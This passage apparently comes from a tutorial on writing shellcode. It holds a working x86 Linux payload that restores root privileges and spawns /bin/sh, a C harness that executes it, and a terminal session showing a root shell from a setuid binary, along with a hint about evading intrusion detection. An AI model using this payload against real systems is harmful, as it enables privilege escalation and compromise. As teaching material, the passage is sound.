char shellcode[] = "\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\ "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\ "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\ "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";intmain (int argc, char **argv){ int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ exit(0); /* exit() */}

entropy@phalaris {~/asm/shellcode} gcc shell_test.c -o shell_test

entropy@phalaris {~/asm/shellcode} sudo chown root shell_test

entropy@phalaris {~/asm/shellcode} sudo chmod 4750 shell_test

entropy@phalaris {~/asm/shellcode} ./shell_test

sh-2.05b# iduid=0(root) gid=100(users) groups=6(disk),10(wheel),18(audio),100(users)

sh-2.05b# whoamirootsh-2.05b# exitexit

entropy@phalaris {~/asm/shellcode} rm shell_testrm: remove write-protected regular file `shell_test'? y

entropy@phalaris {~/asm/shellcode}

Theres many ways to make this shell code smaller, and with shellcode the

Page 24: Shell Code Basics

smaller the better. You can also make this shellcode consist of printable characters only, so it can slip through IDS and filters, but I'll save this for another